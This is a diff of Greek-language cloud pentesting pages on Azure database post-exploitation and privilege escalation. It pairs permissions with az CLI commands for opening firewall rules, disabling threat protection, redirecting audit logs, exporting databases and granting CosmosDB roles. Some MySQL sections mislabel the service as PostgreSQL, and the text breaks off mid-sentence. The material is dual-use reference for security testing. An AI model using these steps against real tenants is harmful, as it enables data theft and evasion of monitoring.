Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κανόνες τείχους προστασίας για μια MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει τον έλεγχο ποιοι διευθύνσεις IP ή εύρη μπορούν να έχουν πρόσβαση στον διακομιστή. Η μη εξουσιοδοτημένη ή ακατάλληλη χρήση αυτής της άδειας θα μπορούσε να εκθέσει τον διακομιστή σε ανεπιθύμητη ή κακόβουλη πρόσβαση.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az mysql flexible-server firewall-rule create \
|
||||
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να επαναφέρετε το GTID (Global Transaction Identifier) για μια MySQL Flexible Server instance στο Azure. Η επαναφορά του GTID θα ακυρώσει όλα τα αυτοματοποιημένα, κατά παραγγελία αντίγραφα ασφαλείας και γεωγραφικά αντίγραφα ασφαλείας που ελήφθησαν πριν από την ενέργεια επαναφοράς. Μετά την επαναφορά του GTID, δεν θα μπορείτε να εκτελέσετε PITR (point-in-time-restore) χρησιμοποιώντας το ταχύτερο σημείο αποκατάστασης ή μέσω προσαρμοσμένου σημείου αποκατάστασης αν ο επιλεγμένος χρόνος αποκατάστασης είναι πριν από την ώρα επαναφοράς του GTID. Και η επιτυχής γεωγραφική αποκατάσταση θα είναι δυνατή μόνο μετά από 5 ημέρες.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να επαναφέρετε το GTID (Global Transaction Identifier) για μια MySQL Flexible Server instance στο Azure. Η επαναφορά του GTID θα ακυρώσει όλα τα αυτοματοποιημένα, κατά παραγγελία αντίγραφα ασφαλείας και γεωγραφικά αντίγραφα ασφαλείας που ελήφθησαν πριν από την ενέργεια επαναφοράς. Μετά την επαναφορά του GTID, δεν θα μπορείτε να εκτελέσετε PITR (point-in-time-restore) χρησιμοποιώντας το ταχύτερο σημείο αποκατάστασης ή μέσω προσαρμοσμένου σημείου αποκατάστασης αν ο επιλεγμένος χρόνος αποκατάστασης είναι πριν από τον χρόνο επαναφοράς του GTID. Και η επιτυχής γεωγραφική αποκατάσταση θα είναι δυνατή μόνο μετά από 5 ημέρες.
|
||||
```bash
|
||||
az mysql flexible-server reset-gtid \
|
||||
--name \
|
||||
--resource-group <resource_group_name> \
|
||||
--gtid-set <gtid>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ενημερώσετε τις ρυθμίσεις διαμόρφωσης μιας MySQL Flexible Server instance στο Azure. Αυτό επιτρέπει την προσαρμογή παραμέτρων του διακομιστή όπως η βελτιστοποίηση απόδοσης, οι ρυθμίσεις ασφαλείας ή οι λειτουργικές ρυθμίσεις. Μπορείτε να ενημερώσετε τις παρακάτω παραμέτρους μαζί σε μια παρτίδα: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, και max_connections.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να ενημερώσετε τις ρυθμίσεις διαμόρφωσης μιας παρουσίας MySQL Flexible Server στο Azure. Αυτό επιτρέπει την προσαρμογή παραμέτρων του διακομιστή όπως η βελτιστοποίηση απόδοσης, οι ρυθμίσεις ασφαλείας ή οι λειτουργικές ρυθμίσεις. Μπορείτε να ενημερώσετε τις παρακάτω παραμέτρους μαζί σε μια παρτίδα: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, και max_connections.
|
||||
```bash
|
||||
az mysql flexible-server parameter set-batch \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--args max_connections=<value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να αναθέσετε μια διαχειριζόμενη ταυτότητα που έχει ανατεθεί από τον χρήστη στους ευέλικτους διακομιστές MySQL.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/stop/action`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να σταματήσετε μια PostgreSQL Flexible Server instance στο Azure. Η διακοπή ενός διακομιστή μπορεί να οδηγήσει σε προσωρινή διακοπή υπηρεσίας, επηρεάζοντας τις εφαρμογές και τους χρήστες που εξαρτώνται από τη βάση δεδομένων.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να σταματήσετε μια εγκατάσταση PostgreSQL Flexible Server στο Azure. Η διακοπή ενός διακομιστή μπορεί να οδηγήσει σε προσωρινή διακοπή υπηρεσίας, επηρεάζοντας τις εφαρμογές και τους χρήστες που εξαρτώνται από τη βάση δεδομένων.
|
||||
```bash
|
||||
az mysql flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/start/action"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/start/action`
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
### `*/delete`
|
||||
|
||||
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
@@ -5,54 +5,40 @@
|
||||
## PostgreSQL Database Post Exploitation
|
||||
Για περισσότερες πληροφορίες σχετικά με τη βάση δεδομένων PostgreSQL, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων μέσα σε μια Postgres Flexible Server instance στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες βάσεις δεδομένων μέσα σε μια εγκατάσταση Postgres Flexible Server στο Azure. Ενώ αυτή η ενέργεια από μόνη της δεν τροποποιεί υπάρχοντες πόρους, η υπερβολική ή μη εξουσιοδοτημένη δημιουργία βάσεων δεδομένων θα μπορούσε να οδηγήσει σε κατανάλωση πόρων ή πιθανή κακή χρήση του διακομιστή.
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ξεκινήσετε τη δημιουργία αντιγράφων ασφαλείας για μια Postgres Flexible Server instance στο Azure. Αυτό επιτρέπει στους χρήστες να δημιουργούν αντίγραφα ασφαλείας κατόπιν αιτήματος, τα οποία μπορεί να είναι χρήσιμα για τη διατήρηση δεδομένων σε συγκεκριμένες χρονικές στιγμές.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Προηγμένης Προστασίας από Απειλές (ATP) για μια περίπτωση Postgres Flexible Server στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή την απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανές απειλές.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να ενημερώσετε τις ρυθμίσεις Advanced Threat Protection (ATP) για μια Postgres Flexible Server instance στο Azure. Αυτό επιτρέπει την ενεργοποίηση ή την απενεργοποίηση χαρακτηριστικών ασφαλείας που έχουν σχεδιαστεί για να ανιχνεύουν και να ανταποκρίνονται σε ανώμαλες δραστηριότητες και πιθανές απειλές.
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κανόνες τείχους προστασίας για μια περίπτωση Postgres Flexible Server στο Azure. Αυτό επιτρέπει τον έλεγχο ποιοι διευθύνσεις IP ή εύρη μπορούν να έχουν πρόσβαση στον διακομιστή. Η μη εξουσιοδοτημένη ή ακατάλληλη χρήση αυτής της άδειας θα μπορούσε να εκθέσει τον διακομιστή σε ανεπιθύμητη ή κακόβουλη πρόσβαση.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κανόνες τείχους προστασίας για μια εγκατάσταση Postgres Flexible Server στο Azure. Αυτό επιτρέπει τον έλεγχο ποιοι διευθύνσεις IP ή εύρη μπορούν να έχουν πρόσβαση στον διακομιστή. Η μη εξουσιοδοτημένη ή ακατάλληλη χρήση αυτής της άδειας θα μπορούσε να εκθέσει τον διακομιστή σε ανεπιθύμητη ή κακόβουλη πρόσβαση.
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ενημερώσετε τις ρυθμίσεις διαμόρφωσης μιας παρουσίας Postgres Flexible Server στο Azure. Αυτό επιτρέπει την προσαρμογή παραμέτρων του διακομιστή όπως η βελτιστοποίηση απόδοσης, οι ρυθμίσεις ασφαλείας ή οι λειτουργικές ρυθμίσεις.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server parameter set \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
|
||||
--name <parameter_name> \
|
||||
--value <parameter_value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να σταματήσετε μια PostgreSQL Flexible Server instance στο Azure. Η διακοπή ενός διακομιστή μπορεί να οδηγήσει σε προσωρινή διακοπή υπηρεσίας, επηρεάζοντας τις εφαρμογές και τους χρήστες που εξαρτώνται από τη βάση δεδομένων.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
### `*/delete`
|
||||
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
|
||||
@@ -10,9 +10,9 @@
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
|
||||
### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
|
||||
|
||||
Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να δημιουργήσει και να ενημερώσει βάσεις δεδομένων εντός του παραβιασμένου περιβάλλοντος. Αυτή η δραστηριότητα μετά την εκμετάλλευση θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να προσθέσει κακόβουλα δεδομένα, να τροποποιήσει τις ρυθμίσεις της βάσης δεδομένων ή να εισάγει backdoors για περαιτέρω επιμονή, ενδεχομένως διαταράσσοντας τις λειτουργίες ή επιτρέποντας επιπλέον κακόβουλες ενέργειες.
|
||||
Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να δημιουργήσει και να ενημερώσει βάσεις δεδομένων μέσα στο παραβιασμένο περιβάλλον. Αυτή η δραστηριότητα μετά την εκμετάλλευση θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να προσθέσει κακόβουλα δεδομένα, να τροποποιήσει τις ρυθμίσεις της βάσης δεδομένων ή να εισάγει backdoors για περαιτέρω επιμονή, ενδεχομένως διαταράσσοντας τις λειτουργίες ή επιτρέποντας επιπλέον κακόβουλες ενέργειες.
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
@@ -20,7 +20,7 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
|
||||
# Update Database
|
||||
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
|
||||
```
|
||||
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
|
||||
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
|
||||
|
||||
Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να δημιουργήσει και να ενημερώσει elasticPools μέσα στο παραβιασμένο περιβάλλον. Αυτή η δραστηριότητα μετά την εκμετάλλευση θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να προσθέσει κακόβουλα δεδομένα, να τροποποιήσει τις ρυθμίσεις της βάσης δεδομένων ή να εισάγει backdoors για περαιτέρω επιμονή, ενδεχομένως διαταράσσοντας τις λειτουργίες ή επιτρέποντας επιπλέον κακόβουλες ενέργειες.
|
||||
```bash
|
||||
@@ -40,7 +40,7 @@ az sql elastic-pool update \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
```
|
||||
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
|
||||
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να τροποποιήσετε ή να ενεργοποιήσετε τις ρυθμίσεις ελέγχου σε έναν Azure SQL Server. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο ή εξουσιοδοτημένο χρήστη να χειριστεί τις ρυθμίσεις ελέγχου, ενδεχομένως καλύπτοντας τα ίχνη ή ανακατευθύνοντας τα αρχεία καταγραφής ελέγχου σε μια τοποθεσία υπό τον έλεγχό τους. Αυτό μπορεί να εμποδίσει την παρακολούθηση ασφαλείας ή να επιτρέψει την παρακολούθηση των ενεργειών. ΣΗΜΕΙΩΣΗ: Για να ενεργοποιήσετε τον έλεγχο για έναν Azure SQL Server χρησιμοποιώντας Blob Storage, πρέπει να συνδέσετε έναν λογαριασμό αποθήκευσης όπου μπορούν να αποθηκευτούν τα αρχεία καταγραφής ελέγχου.
|
||||
```bash
|
||||
@@ -51,7 +51,7 @@ az sql server audit-policy update \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
```
|
||||
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
|
||||
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να τροποποιήσετε τις πολιτικές σύνδεσης ενός Azure SQL Server. Αυτή η δυνατότητα μπορεί να εκμεταλλευτεί για να ενεργοποιήσει ή να αλλάξει τις ρυθμίσεις σύνδεσης σε επίπεδο διακομιστή.
|
||||
```bash
|
||||
@@ -60,9 +60,9 @@ az sql server connection-policy update \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
```
|
||||
### "Microsoft.Sql/servers/databases/export/action"
|
||||
### `Microsoft.Sql/servers/databases/export/action`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να εξάγετε μια βάση δεδομένων από έναν Azure SQL Server σε έναν λογαριασμό αποθήκευσης. Ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης με αυτή την άδεια μπορεί να εξάγει ευαίσθητα δεδομένα από τη βάση δεδομένων εξάγοντας τα σε μια τοποθεσία που ελέγχει, θέτοντας σε κίνδυνο μια σημαντική διαρροή δεδομένων. Είναι σημαντικό να γνωρίζετε το κλειδί αποθήκευσης για να μπορέσετε να το εκτελέσετε αυτό.
|
||||
Με αυτή την άδεια, μπορείτε να εξάγετε μια βάση δεδομένων από έναν Azure SQL Server σε έναν λογαριασμό αποθήκευσης. Ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης με αυτή την άδεια μπορεί να εξάγει ευαίσθητα δεδομένα από τη βάση δεδομένων εξάγοντας τα σε μια τοποθεσία που ελέγχει, θέτοντας σε κίνδυνο μια σημαντική παραβίαση δεδομένων. Είναι σημαντικό να γνωρίζετε το κλειδί αποθήκευσης για να μπορέσετε να το εκτελέσετε αυτό.
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
@@ -74,7 +74,7 @@ az sql db export \
|
||||
--admin-password <admin_password>
|
||||
|
||||
```
|
||||
### "Microsoft.Sql/servers/databases/import/action"
|
||||
### `Microsoft.Sql/servers/databases/import/action`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να εισάγετε μια βάση δεδομένων σε έναν Azure SQL Server. Ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης με αυτή την άδεια μπορεί δυνητικά να ανεβάσει κακόβουλες ή παραποιημένες βάσεις δεδομένων. Αυτό μπορεί να οδηγήσει σε απόκτηση ελέγχου πάνω σε ευαίσθητα δεδομένα ή με την ενσωμάτωση επιβλαβών σεναρίων ή triggers μέσα στη εισαγόμενη βάση δεδομένων. Επιπλέον, μπορείτε να την εισάγετε στον δικό σας server στο Azure. Σημείωση: Ο server πρέπει να επιτρέπει στις υπηρεσίες και τους πόρους του Azure να έχουν πρόσβαση στον server.
|
||||
```bash
|
||||
@@ -85,6 +85,6 @@ az sql db import --admin-user <admin-user> \
|
||||
--resource-group <resource-group-name> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--storage-key <storage-account-key> \
|
||||
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
|
||||
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -5,15 +5,13 @@
|
||||
## CosmosDB Privesc
|
||||
Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-cosmosDB.md
|
||||
{{#endref}}
|
||||
|
||||
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
|
||||
|
||||
Με αυτές τις άδειες μπορείτε να εκτελέσετε privilege escalation δίνοντας σε έναν χρήστη τις άδειες να εκτελεί ερωτήματα και να συνδέεται στη βάση δεδομένων. Πρώτα δημιουργείται ένας ρόλος ο οποίος δίνει τις απαραίτητες άδειες και πεδία.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτές τις άδειες μπορείτε να εκτελέσετε privilege escalation δίνοντας σε έναν χρήστη τις άδειες να εκτελεί ερωτήματα και να συνδέεται στη βάση δεδομένων. Πρώτα δημιουργείται ένας ρόλος ορισμού που δίνει τις απαραίτητες άδειες και πεδία.
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Μετά από αυτό, η ανάθεση του ορισμού δίνεται σε έναν χρήστη. Μετά από αυτό, ο χρήστης μπορεί να χρησιμοποιήσει τη μέθοδο σύνδεσης DefaultAzureCredential() για να εκτελέσει ερωτήματα.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
|
||||
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
|
||||
Με αυτή την άδεια, μπορείτε να ανακτήσετε τα κύρια και δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτά τα κλειδιά παρέχουν πλήρη πρόσβαση στον λογαριασμό της βάσης δεδομένων και τους πόρους του, επιτρέποντας ενέργειες όπως αναγνώσεις δεδομένων, εγγραφές και αλλαγές ρυθμίσεων.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,15 +12,15 @@
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Με άδειες για να διαβάσετε τους κάδους μέσα στον Λογαριασμό Αποθήκευσης που αποθηκεύει τα δεδομένα της λειτουργίας, είναι δυνατόν να βρείτε **διαφορετικούς κάδους** (προσαρμοσμένους ή με προκαθορισμένα ονόματα) που μπορεί να περιέχουν **τον κώδικα που εκτελείται από τη λειτουργία**.
|
||||
Με άδειες για ανάγνωση των κοντέινερ μέσα στον Λογαριασμό Αποθήκευσης που αποθηκεύει τα δεδομένα της λειτουργίας, είναι δυνατόν να βρείτε **διαφορετικά κοντέινερ** (προσαρμοσμένα ή με προκαθορισμένα ονόματα) που μπορεί να περιέχουν **τον κώδικα που εκτελείται από τη λειτουργία**.
|
||||
|
||||
Μόλις βρείτε πού βρίσκεται ο κώδικας της λειτουργίας, αν έχετε άδειες εγγραφής πάνω σε αυτόν, μπορείτε να κάνετε τη λειτουργία να εκτελέσει οποιονδήποτε κώδικα και να αναβαθμίσετε τα δικαιώματα στις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες με τη λειτουργία.
|
||||
Μόλις βρείτε πού βρίσκεται ο κώδικας της λειτουργίας, αν έχετε άδειες εγγραφής πάνω σε αυτόν, μπορείτε να κάνετε τη λειτουργία να εκτελέσει οποιονδήποτε κώδικα και να κλιμακώσετε τα δικαιώματα στις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες με τη λειτουργία.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` και `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Ο κώδικας της λειτουργίας αποθηκεύεται συνήθως μέσα σε ένα αρχείο κοινής χρήσης. Με αρκετή πρόσβαση, είναι δυνατόν να τροποποιήσετε το αρχείο κώδικα και **να κάνετε τη λειτουργία να φορτώσει αυθαίρετο κώδικα**, επιτρέποντας την αναβάθμιση των δικαιωμάτων στις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες με τη Λειτουργία.
|
||||
Ο κώδικας της λειτουργίας συνήθως αποθηκεύεται μέσα σε ένα αρχείο κοινής χρήσης. Με αρκετή πρόσβαση, είναι δυνατόν να τροποποιήσετε το αρχείο κώδικα και **να κάνετε τη λειτουργία να φορτώσει αυθαίρετο κώδικα**, επιτρέποντας την κλιμάκωση των δικαιωμάτων στις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες με τη Λειτουργία.
|
||||
|
||||
Αυτή η μέθοδος ανάπτυξης συνήθως ρυθμίζει τις ρυθμίσεις **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** και **`WEBSITE_CONTENTSHARE`** που μπορείτε να αποκτήσετε από 
|
||||
